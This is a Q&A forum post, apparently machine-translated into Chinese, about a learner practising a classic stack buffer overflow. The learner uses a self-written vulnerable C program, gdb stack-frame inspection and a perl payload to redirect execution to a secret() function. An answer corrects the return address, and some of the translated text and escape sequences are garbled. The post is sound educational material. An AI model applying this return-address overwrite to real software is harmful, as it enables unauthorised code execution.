为示例应用程序编写漏洞利用

逆向工程 C++ 数据库 C 开发
2021-06-10 22:37:55

我了解利用经典的基于堆栈的缓冲区溢出的原理,现在我想练习一下。因此,我编写了以下测试应用程序:

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void public(char *args) {
    char buff[12];
    memset(buff, 'B', sizeof(buff));

    strcpy(buff, args);
    printf("\nbuff: [%s] (%p)(%d)\n\n", &buff, buff, sizeof(buff));
}

void secret(void) {
    printf("SECRET\n");
    exit(0);
}

int main(int argc, char *argv[]) {
    int uid;
    uid = getuid();

    // Only when the user is root
    if (uid == 0)
        secret();

    if (argc > 1) {
        public(argv[1]);
    }
    else
        printf("Kein Argument!\n");
}

当启动程序的用户为root 时secret()正在调用该方法否则public(...)正在调用该方法我使用的是 debian-gnome x64,所以我必须专门将它编译为 x86 才能获得 x86-assembly(我比 x64 更了解它)。我用gcc编译了程序:gcc ret.c -o ret -m32 -g -fno-stack-protector


目标: 我想在secret()不是root-user 的情况下调用该方法{要做到这一点我必须覆盖RE打开Instruction Pointer( RIP与函数的地址secret()}

漏洞: 该方法public(...)将带有 unsafestrcpy()方法的 program-args 复制char-array buff 中因此,当用户以arg > 11启动程序时,可以覆盖堆栈上的数据,其中arg应该是字符串 arg 的长度。

需要的信息:

  • 函数的地址secret()
  • 第一个缓冲区的第一个元素的地址。由于ASCII-Encoding 我知道每个char都有一个大小1 byte,所以缓冲区的最后一个元素12 bytes在第一个元素之前。
  • 的地址RIP,因为我必须覆盖它secret()的地址。
  • 可选:它也有助于知道Safed Frame Pointer ( SFP)的地址

有条不紊的方法:

  • 将程序加载到gdb: 中gdb -q ret
  • 要获得该方法的完整堆栈框架的概述,public(...)我必须在那里设置一个断点,从那里function-epilogue开始。这是}在 line的封闭大括号11
  • 现在,我必须与一个有效的ARG运行程序:run A
  • 在断点处,我现在想查看堆栈帧。

    (gdb) info frame 0
    Stack frame at 0xffffd2f0:
     eip = 0x804852d in public (ret.c:11); saved eip = 0x804858c
     called by frame at 0xffffd330
     source language c.
     Arglist at 0xffffd2e8, args: args=0xffffd575 "A"
     Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
     Saved registers:
      ebp at 0xffffd2e8, eip at 0xffffd2ec
    

    因为从中我可以收集到以下信息:

    • RIP位于0xffffd2ec与包含地址0x804858c包含的指令0x804858c <main+61>: add $0x10,%esp
    • SFP位于0xffffd2e8
    • 现在我需要secret()- 函数开始的地址

      (gdb) 打印机密 $2 = {void (void)} 0x804852f

  • 最后,但并非最不重要的是,我得到了缓冲区的地址:

    (gdb) print/x &buff
    $4 = 0xffffd2d4
    
  • 把它们加起来:

    • RIP0xffffd2ec
    • SFP0xffffd2e8
    • buff0xffffd2d4

这意味着我必须使用0xffffd2ec- 0xffffd2d4+ 0x04= 28 bytes(= chars)运行程序

因此,要利用它,我必须使用一个很28 bytes的 arg 运行程序,而最后一个4 bytes包含函数的地址secret()(并注意小端排序):

(gdb) run `perl -e '{print "A"x24; print "\xec\d2\ff\ff"; }'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/patrick/Projekte/C/I. Stack_Overflow/ret `perl -e '{print "A"x24; print "\xec\d2\ff\ff"; }'`

buff: [AAAAAAAAAAAAAAAAAAAAAAAA�d2
                                  f
                                   f] (0xffffd2b4)(12)


Program received signal SIGSEGV, Segmentation fault.
0x0c3264ec in ?? ()

两个问题浮出水面:

  • 为什么它不起作用。这个例子基本上来自我正在阅读的一本旧书。但理论上它应该有效,所以我认为......

  • 为什么buff之间SFP8-byte差距?这个内存区域包含什么?

编辑:是二进制文件的下载链接。

1个回答
  • 为什么它不起作用。这个例子基本上来自我正在阅读的一本旧书。但理论上它应该有效,所以我认为......

这是因为您正在使用0xffffd2ec而不是覆盖堆栈上的返回地址0x0804852f(后者是 的地址secret())。

如果您因此使用'{print "A"x24; print "\x2f\85\04\08"; }'它,它应该可以工作。

  • 为什么buff之间SFP8-byte差距?这个内存区域包含什么?

这种差距可能是因为 gcc 尝试进行了优化。内存区域不包含任何内容(好吧,从技术上讲,它包含 8 个字节,其值不确定)并且public()函数中的代码既不读取也不写入该内存区域。